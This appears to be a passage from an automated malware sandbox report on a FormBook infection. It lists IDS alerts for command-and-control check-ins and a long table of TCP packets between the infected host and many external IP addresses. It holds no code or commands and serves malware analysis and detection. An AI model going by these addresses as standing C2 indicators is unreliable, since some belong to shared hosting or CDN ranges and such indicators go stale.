2024-11-28T09:15:09.062744+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49952	3.33.130.190	80	TCP
2024-11-28T09:15:11.765225+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49959	3.33.130.190	80	TCP
2024-11-28T09:15:14.795351+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49965	3.33.130.190	80	TCP
2024-11-28T09:15:23.873450+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49984	172.67.222.69	80	TCP
2024-11-28T09:15:26.488292+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49991	172.67.222.69	80	TCP
2024-11-28T09:15:29.245975+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49999	172.67.222.69	80	TCP
2024-11-28T09:15:39.491584+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50007	103.249.106.91	80	TCP
2024-11-28T09:15:42.170839+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50008	103.249.106.91	80	TCP
2024-11-28T09:15:44.842297+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50009	103.249.106.91	80	TCP
2024-11-28T09:15:55.805631+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50011	121.43.155.35	80	TCP
2024-11-28T09:15:58.512412+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50012	121.43.155.35	80	TCP
2024-11-28T09:16:01.158695+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50013	121.43.155.35	80	TCP
2024-11-28T09:16:11.036905+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50015	199.192.23.123	80	TCP
2024-11-28T09:16:13.717053+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50016	199.192.23.123	80	TCP
2024-11-28T09:16:16.456673+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50017	199.192.23.123	80	TCP
2024-11-28T09:16:26.085634+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50019	52.60.87.163	80	TCP
2024-11-28T09:16:28.752419+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50020	52.60.87.163	80	TCP
2024-11-28T09:16:31.380140+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50021	52.60.87.163	80	TCP
2024-11-28T09:16:41.545133+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50023	161.97.142.144	80	TCP
2024-11-28T09:16:43.984151+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50024	161.97.142.144	80	TCP
2024-11-28T09:16:46.603798+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50025	161.97.142.144	80	TCP
2024-11-28T09:16:56.364697+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50027	75.2.103.23	80	TCP
2024-11-28T09:16:58.982905+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50028	75.2.103.23	80	TCP
2024-11-28T09:17:01.737260+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50029	75.2.103.23	80	TCP
2024-11-28T09:17:11.556796+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50031	13.248.169.48	80	TCP
2024-11-28T09:17:14.660402+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50032	13.248.169.48	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 09:13:50.727847099 CET	49772	80	192.168.2.5	185.106.208.3
Nov 28, 2024 09:13:50.847739935 CET	80	49772	185.106.208.3	192.168.2.5
Nov 28, 2024 09:13:50.847820044 CET	49772	80	192.168.2.5	185.106.208.3
Nov 28, 2024 09:13:50.858181953 CET	49772	80	192.168.2.5	185.106.208.3
Nov 28, 2024 09:13:50.978198051 CET	80	49772	185.106.208.3	192.168.2.5
Nov 28, 2024 09:13:52.244767904 CET	80	49772	185.106.208.3	192.168.2.5
Nov 28, 2024 09:13:52.244832039 CET	80	49772	185.106.208.3	192.168.2.5
Nov 28, 2024 09:13:52.245060921 CET	49772	80	192.168.2.5	185.106.208.3
Nov 28, 2024 09:13:52.249573946 CET	49772	80	192.168.2.5	185.106.208.3
Nov 28, 2024 09:13:52.371844053 CET	80	49772	185.106.208.3	192.168.2.5
Nov 28, 2024 09:14:08.103112936 CET	49809	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:08.223329067 CET	80	49809	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:08.223484039 CET	49809	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:08.244015932 CET	49809	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:08.364685059 CET	80	49809	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:09.541932106 CET	80	49809	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:09.542239904 CET	80	49809	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:09.542253017 CET	80	49809	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:09.542330027 CET	49809	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:09.543045998 CET	80	49809	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:09.543092966 CET	49809	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:09.551956892 CET	80	49809	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:09.552036047 CET	80	49809	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:09.552126884 CET	49809	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:09.748383045 CET	49809	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:10.768472910 CET	49818	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:10.888534069 CET	80	49818	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:10.888874054 CET	49818	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:10.903834105 CET	49818	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:11.023822069 CET	80	49818	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:12.420519114 CET	49818	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:12.421308994 CET	80	49818	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:12.421329975 CET	80	49818	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:12.421475887 CET	49818	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:12.422353983 CET	80	49818	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:12.422369957 CET	80	49818	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:12.422383070 CET	80	49818	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:12.422396898 CET	80	49818	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:12.422414064 CET	49818	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:12.422468901 CET	49818	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:12.422468901 CET	49818	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:12.422468901 CET	49818	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:12.499279976 CET	80	49818	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:12.499438047 CET	49818	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:12.540606976 CET	80	49818	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:12.540715933 CET	49818	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:13.439097881 CET	49825	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:13.558995008 CET	80	49825	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:13.559087038 CET	49825	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:13.574978113 CET	49825	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:13.695228100 CET	80	49825	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:13.695244074 CET	80	49825	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:14.957858086 CET	80	49825	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:14.958009005 CET	80	49825	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:14.958020926 CET	80	49825	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:14.958103895 CET	49825	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:14.958543062 CET	80	49825	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:14.958558083 CET	80	49825	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:14.958623886 CET	49825	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:14.959247112 CET	80	49825	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:14.959296942 CET	49825	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:15.076626062 CET	49825	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:16.095196962 CET	49831	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:16.215231895 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:16.215325117 CET	49831	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:16.226296902 CET	49831	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:16.346491098 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:17.485291958 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:17.485467911 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:17.485481977 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:17.485614061 CET	49831	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:17.486135006 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:17.486148119 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:17.486196041 CET	49831	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:17.486938953 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:17.486984015 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:17.486990929 CET	49831	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:17.487986088 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:17.488001108 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:17.488014936 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:17.488039970 CET	49831	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:17.488060951 CET	49831	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:17.492013931 CET	49831	80	192.168.2.5	162.0.215.33
Nov 28, 2024 09:14:17.612288952 CET	80	49831	162.0.215.33	192.168.2.5
Nov 28, 2024 09:14:23.012341976 CET	49847	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:23.238071918 CET	80	49847	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:23.238234043 CET	49847	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:23.252281904 CET	49847	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:23.473834038 CET	80	49847	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:24.466510057 CET	80	49847	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:24.466612101 CET	80	49847	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:24.466710091 CET	49847	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:24.764058113 CET	49847	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:25.784291983 CET	49852	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:25.904220104 CET	80	49852	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:25.904412985 CET	49852	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:25.920182943 CET	49852	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:26.040667057 CET	80	49852	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:27.131989002 CET	80	49852	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:27.132174969 CET	80	49852	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:27.132227898 CET	49852	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:27.435879946 CET	49852	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:28.455586910 CET	49859	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:28.575437069 CET	80	49859	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:28.575656891 CET	49859	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:28.590991020 CET	49859	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:28.710995913 CET	80	49859	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:28.711028099 CET	80	49859	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:29.851568937 CET	80	49859	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:29.852057934 CET	80	49859	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:29.852128983 CET	49859	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:30.092247009 CET	49859	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:31.110868931 CET	49866	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:31.230859041 CET	80	49866	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:31.231010914 CET	49866	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:31.239773035 CET	49866	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:31.359707117 CET	80	49866	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:32.413784027 CET	80	49866	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:32.413949013 CET	80	49866	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:32.414043903 CET	49866	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:32.416944027 CET	49866	80	192.168.2.5	104.18.73.116
Nov 28, 2024 09:14:32.536914110 CET	80	49866	104.18.73.116	192.168.2.5
Nov 28, 2024 09:14:38.263391018 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:38.383388042 CET	80	49882	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:38.383589983 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:38.398060083 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:38.518027067 CET	80	49882	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:39.904886007 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:39.920085907 CET	80	49882	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:39.920264959 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:39.920327902 CET	80	49882	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:39.920341969 CET	80	49882	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:39.920378923 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:39.920403957 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:39.921283007 CET	80	49882	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:39.921294928 CET	80	49882	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:39.921324015 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:39.921336889 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:39.922418118 CET	80	49882	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:39.922430038 CET	80	49882	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:39.922458887 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:39.922472000 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:39.923332930 CET	80	49882	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:39.923345089 CET	80	49882	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:39.923392057 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:39.924310923 CET	80	49882	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:39.924359083 CET	49882	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:40.923702002 CET	49888	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:41.043865919 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:41.043976068 CET	49888	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:41.058192015 CET	49888	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:41.178227901 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.540067911 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.540267944 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.540281057 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.540436029 CET	49888	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:42.541014910 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.541028023 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.541070938 CET	49888	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:42.541826010 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.541838884 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.541874886 CET	49888	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:42.542694092 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.542706966 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.542717934 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.542742968 CET	49888	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:42.542759895 CET	49888	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:42.561001062 CET	49888	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:42.660480976 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.660612106 CET	80	49888	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:42.660664082 CET	49888	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:42.664664030 CET	49888	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:43.626600027 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:43.746576071 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:43.748912096 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:43.855289936 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:43.975274086 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:43.975351095 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.186304092 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.186531067 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.186543941 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.186578035 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.187294960 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.187308073 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.187342882 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.188066959 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.188105106 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.188108921 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.188981056 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.188992977 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.189047098 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.189646959 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.189702988 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.307002068 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.307147026 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.307197094 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.357852936 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.378256083 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.378309011 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.378437996 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.378508091 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.382643938 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.382688999 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.382833958 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.382877111 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.391057968 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.391114950 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.391267061 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.391319990 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:45.396764040 CET	80	49894	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:45.396807909 CET	49894	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:46.433916092 CET	49900	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:46.553932905 CET	80	49900	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:46.554014921 CET	49900	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:46.649779081 CET	49900	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:46.769723892 CET	80	49900	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:47.789602995 CET	80	49900	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:47.789736986 CET	80	49900	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:47.796698093 CET	49900	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:47.796698093 CET	49900	80	192.168.2.5	192.185.147.100
Nov 28, 2024 09:14:47.916702986 CET	80	49900	192.185.147.100	192.168.2.5
Nov 28, 2024 09:14:53.216738939 CET	49917	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:53.336685896 CET	80	49917	13.248.169.48	192.168.2.5
Nov 28, 2024 09:14:53.336776018 CET	49917	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:53.351852894 CET	49917	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:53.472069025 CET	80	49917	13.248.169.48	192.168.2.5
Nov 28, 2024 09:14:54.482003927 CET	80	49917	13.248.169.48	192.168.2.5
Nov 28, 2024 09:14:54.482114077 CET	49917	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:54.858167887 CET	49917	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:54.978060961 CET	80	49917	13.248.169.48	192.168.2.5
Nov 28, 2024 09:14:55.878699064 CET	49924	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:55.998743057 CET	80	49924	13.248.169.48	192.168.2.5
Nov 28, 2024 09:14:55.999212027 CET	49924	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:56.013505936 CET	49924	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:56.133533001 CET	80	49924	13.248.169.48	192.168.2.5
Nov 28, 2024 09:14:57.153053045 CET	80	49924	13.248.169.48	192.168.2.5
Nov 28, 2024 09:14:57.153121948 CET	49924	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:57.529612064 CET	49924	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:57.649643898 CET	80	49924	13.248.169.48	192.168.2.5
Nov 28, 2024 09:14:58.548533916 CET	49930	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:58.668549061 CET	80	49930	13.248.169.48	192.168.2.5
Nov 28, 2024 09:14:58.668651104 CET	49930	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:58.689878941 CET	49930	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:14:58.809887886 CET	80	49930	13.248.169.48	192.168.2.5
Nov 28, 2024 09:14:58.809994936 CET	80	49930	13.248.169.48	192.168.2.5
Nov 28, 2024 09:14:59.860920906 CET	80	49930	13.248.169.48	192.168.2.5
Nov 28, 2024 09:14:59.864733934 CET	49930	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:15:00.201436996 CET	49930	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:15:00.321719885 CET	80	49930	13.248.169.48	192.168.2.5
Nov 28, 2024 09:15:01.222023010 CET	49937	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:15:01.342303038 CET	80	49937	13.248.169.48	192.168.2.5
Nov 28, 2024 09:15:01.342395067 CET	49937	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:15:01.353698969 CET	49937	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:15:01.473712921 CET	80	49937	13.248.169.48	192.168.2.5
Nov 28, 2024 09:15:02.459662914 CET	80	49937	13.248.169.48	192.168.2.5
Nov 28, 2024 09:15:02.459670067 CET	80	49937	13.248.169.48	192.168.2.5
Nov 28, 2024 09:15:02.459849119 CET	49937	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:15:02.462517977 CET	49937	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:15:02.582473993 CET	80	49937	13.248.169.48	192.168.2.5
Nov 28, 2024 09:15:07.793289900 CET	49952	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:07.919365883 CET	80	49952	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:07.919492006 CET	49952	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:07.934731960 CET	49952	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:08.054827929 CET	80	49952	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:09.062696934 CET	80	49952	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:09.062743902 CET	49952	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:09.435842991 CET	49952	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:09.555727005 CET	80	49952	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:10.454963923 CET	49959	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:10.574920893 CET	80	49959	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:10.576744080 CET	49959	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:10.616044044 CET	49959	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:10.736169100 CET	80	49959	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:11.765135050 CET	80	49959	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:11.765224934 CET	49959	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:12.123353958 CET	49959	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:12.243777990 CET	80	49959	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:13.142864943 CET	49965	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:13.262811899 CET	80	49965	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:13.262897015 CET	49965	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:13.284480095 CET	49965	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:13.404417992 CET	80	49965	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:13.404602051 CET	80	49965	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:14.795351028 CET	49965	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:14.915690899 CET	80	49965	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:14.915757895 CET	49965	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:15.818326950 CET	49973	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:15.938239098 CET	80	49973	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:15.942745924 CET	49973	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:15.980632067 CET	49973	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:16.100992918 CET	80	49973	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:17.045238018 CET	80	49973	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:17.045254946 CET	80	49973	3.33.130.190	192.168.2.5
